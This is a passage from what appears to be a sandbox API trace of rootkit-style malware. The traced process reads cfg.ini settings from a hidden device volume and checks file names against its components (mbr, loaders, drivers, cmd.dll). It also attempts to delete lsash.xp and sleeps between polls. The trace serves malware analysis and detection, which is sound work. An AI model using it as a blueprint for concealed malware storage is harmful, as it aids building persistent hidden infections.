VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.560] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.560] IdePortDispatch () returned 0x103 [0128.560] KeWaitForMutexObject () returned 0x0 [0128.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.560] KeLeaveCriticalRegion () [0128.560] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.561] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.561] KeEnterCriticalRegion () [0128.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.561] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.561] KeLeaveCriticalRegion () [0128.561] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.561] KeEnterCriticalRegion () [0128.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.561] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.561] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.561] KeLeaveCriticalRegion () [0128.561] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.561] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.561] KeEnterCriticalRegion () [0128.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.561] ExFreePoolWithTag (P=0xfffffa8003bff700, Tag=0x0) [0128.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.561] KeLeaveCriticalRegion () [0128.561] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.561] ReleaseMutex (hMutex=0xf0) returned 1 [0128.561] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.561] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.561] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.561] KeEnterCriticalRegion () [0128.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.562] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.562] IdePortDispatch () returned 0x103 [0128.562] KeWaitForMutexObject () returned 0x0 [0128.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.562] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.562] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.562] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.562] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.562] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff450 [0128.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.562] KeLeaveCriticalRegion () [0128.562] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.562] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.562] KeEnterCriticalRegion () [0128.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.562] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.562] KeLeaveCriticalRegion () [0128.562] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.562] KeEnterCriticalRegion () [0128.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.562] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.562] IdePortDispatch () returned 0x103 [0128.562] KeWaitForMutexObject () returned 0x0 [0128.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.563] KeLeaveCriticalRegion () [0128.563] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.563] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.563] KeEnterCriticalRegion () [0128.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c4000 [0128.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.563] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.563] IdePortDispatch () returned 0x103 [0128.563] KeWaitForMutexObject () returned 0x0 [0128.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.563] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.563] IdePortDispatch () returned 0x103 [0128.563] KeWaitForMutexObject () returned 0x0 [0128.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.563] KeLeaveCriticalRegion () [0128.563] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.564] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.564] KeEnterCriticalRegion () [0128.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.564] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.564] KeLeaveCriticalRegion () [0128.564] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.564] KeEnterCriticalRegion () [0128.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.564] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.564] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.564] KeLeaveCriticalRegion () [0128.564] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.564] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.564] KeEnterCriticalRegion () [0128.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.564] ExFreePoolWithTag (P=0xfffffa8003bff450, Tag=0x0) [0128.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.564] KeLeaveCriticalRegion () [0128.564] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.564] ReleaseMutex (hMutex=0xf0) returned 1 [0128.564] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.564] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.564] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.564] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.564] KeEnterCriticalRegion () [0128.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.564] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.564] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.565] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.565] IdePortDispatch () returned 0x103 [0128.565] KeWaitForMutexObject () returned 0x0 [0128.565] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.565] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.565] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.565] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.565] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.565] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.565] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.565] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.565] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.565] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.565] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.565] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.565] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.565] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.565] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.565] KeLeaveCriticalRegion () [0128.565] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.565] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.565] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.565] KeEnterCriticalRegion () [0128.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.565] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.565] IdePortDispatch () returned 0x103 [0128.565] KeWaitForMutexObject () returned 0x0 [0128.566] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.566] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.566] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.566] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.566] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.566] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.566] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.566] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.566] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.566] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.566] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.566] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.566] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.566] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.566] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.566] KeLeaveCriticalRegion () [0128.566] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.566] ReleaseMutex (hMutex=0x100) returned 1 [0128.566] Sleep (dwMilliseconds=0x2bf20) [0128.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fd51c90, dwHighDateTime=0x1d24fa4)) [0128.573] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.573] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.573] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.573] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.573] KeEnterCriticalRegion () [0128.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.573] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.573] IdePortDispatch () returned 0x103 [0128.573] KeWaitForMutexObject () returned 0x0 [0128.573] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.573] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.573] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.573] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.573] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.573] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff1f0 [0128.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.573] KeLeaveCriticalRegion () [0128.573] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.573] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.573] KeEnterCriticalRegion () [0128.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.573] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.574] KeLeaveCriticalRegion () [0128.574] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.574] KeEnterCriticalRegion () [0128.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.574] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.574] IdePortDispatch () returned 0x103 [0128.574] KeWaitForMutexObject () returned 0x0 [0128.574] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.574] KeLeaveCriticalRegion () [0128.574] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.574] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.574] KeEnterCriticalRegion () [0128.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.574] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cb000 [0128.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.574] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.574] IdePortDispatch () returned 0x103 [0128.574] KeWaitForMutexObject () returned 0x0 [0128.574] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.574] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.574] IdePortDispatch () returned 0x103 [0128.575] KeWaitForMutexObject () returned 0x0 [0128.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.575] KeLeaveCriticalRegion () [0128.575] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.575] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.575] KeEnterCriticalRegion () [0128.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.575] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.575] KeLeaveCriticalRegion () [0128.575] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.575] KeEnterCriticalRegion () [0128.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.575] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.575] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.575] KeLeaveCriticalRegion () [0128.575] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.575] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.576] KeEnterCriticalRegion () [0128.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.576] ExFreePoolWithTag (P=0xfffffa8003bff1f0, Tag=0x0) [0128.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.576] KeLeaveCriticalRegion () [0128.576] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.576] ReleaseMutex (hMutex=0xf0) returned 1 [0128.576] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.576] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.576] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.576] KeEnterCriticalRegion () [0128.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.576] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.576] IdePortDispatch () returned 0x103 [0128.576] KeWaitForMutexObject () returned 0x0 [0128.576] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.576] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.576] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.576] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.576] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.576] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bffa10 [0128.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.576] KeLeaveCriticalRegion () [0128.576] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.576] _snprintf (in: 